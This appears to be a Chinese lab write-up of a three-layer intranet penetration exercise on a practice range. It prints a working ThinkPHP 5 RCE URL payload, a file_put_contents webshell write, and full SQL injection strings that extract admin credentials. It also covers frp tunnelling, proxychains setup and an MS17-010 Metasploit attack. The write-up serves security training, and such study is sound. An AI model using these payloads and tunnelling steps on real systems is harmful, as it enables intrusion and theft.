在过去的一些实战经历中发现自己内网相关的技能还比较薄弱,所以专门找了个靶场(teamssix.com)做下练习,靶场的web漏洞利用都很简单,主要训练自己内网搭代理隧道的熟练度,如果你和我一样对复杂网络下隧道搭建不熟悉的话,不妨一起看看这篇文章,希望能对你有一些帮助。
目标:拿下内网最深处主机的 flag.txt
文件
在互联网环境下发现一处资产 ,这里以 x.x.220.130
替代,直接访问 x.x.220.130
发现以下页面:
很明显这是一个thinkphp应用,随便指定一个路由 http://x.x.220.130/index.php/?s=123
,爆出thinkphp的详细版本。
tp5在 5.0-5.0.24
和 5.1.0-5.1.30
都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行 id
命令:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id
可以看见命令执行成功。
接下来直接写入一个shell ,使用php 的 file_put_contents
函数写个一句话木马:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%[email protected]($_POST[%27qaxnb666%27]);?%3E
验证:
验证成功,直接使用蚁剑进行连接。
将超时时间调高,因为后续会上传文件避免超时而中断:
连接成功:
第一层的flag就在网站根目录下面, 直接双击读取即可:
接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:
拿下的这台服务器发现权限并不高仅为www,但是有惊喜的是这台机器存在双网卡,其中一张网卡( ens37
)绑定了内网ip( 192.168.22.131
),证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了 192.168.22.x/24
网段的内网。
既然发现了存在 192.168.22.x/24
网段,所以尝试对 22 网段进行信息收集,这里使用fscan (https://github.com/shadow1ng/fscan)工具进行内网大保健.
上传fscan 到服务器目录 /tmp
对 192.168.22.x/24
网段进行扫描:
./fscan -h 192.168.22.1/24-o fscan.log
查看扫描结果:
发现网段内还存在 192.168.22.128
~~和 192.168.22.129
~~ , 且 192.168.22.128:80
存在 cms服务。
接下来的目标就是拿下 192.168.22.128
服务器,直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透,所以需要以第一台服务作为跳板。
先画个网络拓扑图,方便后续理解,第一台机器我们也叫它 Target1
.
因为在上一步信息收集时发现 192.168.22.128:80
(Target 2)存在 cms服务,有两种方式进行利用:
对 Target 2 80
端口进行端口转发。
使用反向代理,将Target 1 的网络通过vps代理出去。
为了进一步对内网进行探测,这里选择第二种方式。
反向代理有很多工具可以使用,frp、ew、ngrok都可以,这里使用frp方式。
frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定。
下载frps到自己的vps上,frps.ini 配置如下 :
其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,
使用命令 frps-c frps.ini
启动即可,如果想要后台运行,可以加入service或者使用nohup启动。
netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。
将frpc 传入target1 /tmp/frp
目录:
frpc.ini 配置内容:
其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用 frpc-c frpc.ini
进行启动:
在 vps 服务器端分别发现了16004与16005端口,证明代理搭建成功!
这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:
在上一步骤中已经搭建好了内网代理,现在进行以下测试,首先在没有使用代理时,192.168.22.128是无法访问的:
通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式
再次访问 192.168.22.128
,成功访问,到此我们就已经访问了企业第二层内网:
虽然这里浏览器能够正常访问了,但是在渗透的过程中常常会使用安全工具进行扫描或者漏洞利用,这些工具大部分没有预留走代理的配置,或者系统的代理往往不会生效,这种情况怎么办呢?
所以这时候强制代理工具就很重要了,强制代理工具也有很多,这里使用proxifer,这款工具在win/mac下都有比较方便。
### 对`Target2` 进行端口扫描
虽然在之前的扫描中发现了Target2 80端口存在一个cms,但是 渗透总是照着软柿子捏,我们尝试使用nmap 对Target2 进行端口扫描,寻找其开放的端口。
1. 首先需要配置 Proxifer
,先配置代理服务器
2. 需要配置代理规则,按照下图配置:
3. 使用nmap 进行扫描,注意的是socks本身也是建立在tcp基础上的,所以nmap只能以tcp全连接的方式进行扫描,即: nmap-sT192.168.22.128-Pn
对21、22、3306 都进行了弱口令尝试,但无解,888、8888 是宝塔的控制面板界面,尝试了宝塔之前的phpmyadmin未授权访问也无解。看样子只能对80端口下手。
通过查看网页底部指纹信息,知道这是一个bage cms搭建的网站,而且从时间上来看有些老旧。
通过在网上寻找bage cms的利用点发现均为一些任意文件读取或者xss等后管的漏洞利用,虽然通过路径扫描找到了后台地址:http://192.168.22.128/index.php?r=admini/public/login
并没有弱口令,而且因为有验证码 所以也没法爆破,这个时候就茫然了,完全拿不下。
但总得抓个包先看看吧,联想到之前某活动,有个巨佬通过注释找到利用点拿到shell的场景,我这次也留意了注释的内容,刺激的是果然在注释里面有提示!
访问提示的地址 http://192.168.22.128/index.php?r=vul&keyword=1
:
加上单引号,典型的mysql报错注入:
(不知为啥,图被夹了)
所以使用报错注入注出后管用户名和密码就好(中途发现报错注入显示的字符长度有限制,后面转成了联合注入),细节就不完整放了,很基础,贴下过程中的payload:
-- 数据库
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+
-- 注用户
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注用户名
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密码
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
把注入出来的md5 密码去解一下,得到(admin/123qwe):
使用注入得到的账号密码进行登录,成功登录。
后管直接把Target2 的flag给显示出来了,尝试继续深入,给这台服务上传shell,上传点存在限制,但是在模板功能模块存在直接编辑模板代码的功能,所以很简单直接把一句话随便找个文件放入就好:
尝试使用蚁剑进行连接,因为Target2 是内网机器,所以要连接shell得先给蚁剑挂代理:
其余和Target1 一样进行连接, 连接成功,至此 Target2 也被拿下。
同样的步骤,先对刚拿下的Taget2 进行信息收集:
发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。
再次上传fscan,对33网段进行内网大保健:
显示33网段除了Target2 之外 ,还有一台 192.168.33.33
(Target3) ,且该主机为win7 ,fscan扫描得出存在永恒之蓝漏洞(MS17-010),所以可以再使用Target2的网络对Target3发起永恒之蓝攻击
搭建双层代理
往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。
代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:
Hacker<->VPS<->Taget1<->Taget2<->Taget3
给Target1 运行frps 服务端,配置使用和vps相同的参数:
上Target2 运行客户端,其余配置都一样,把server_addr 换成开启服务端的Target1ip(注意ip要是22段,不然网络不通)
Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。
永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。
在linux上对应用进行强制代理的工具可以使用 proxychains-ng
在centos 上可以很方便的 yum install-y proxychains-ng
安装即可
配置文件默认在 /etc/proxychains.conf
,按照如下顺序配置(顺序很重要,不能乱),因为我的frps就在这台vps上,所以直接使用127.0.0.1即可:
刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上 proxychain
即可:
proxychains telnet192.168.33.33139
从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。
2. 搜索ms17-010,直接使用第一个就好:
3. 因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:
4. 设置目标参数信息
5. exploit !!!
拿到Taget3 最高权限!尝试去读取flag
拿到flag!
截图:
到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。
回顾一下,本次渗透总共通过三个边界节点的漏洞利用成功拿下身处最内网的Target3,分别通过TP5、Bage cms、永恒之蓝作为漏洞利用点,借助frp 工具搭建代理链实现对内网的访问。其实整个过程还是很简单的,并没有涉及到域相关的内容,后续有机会再分享。
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。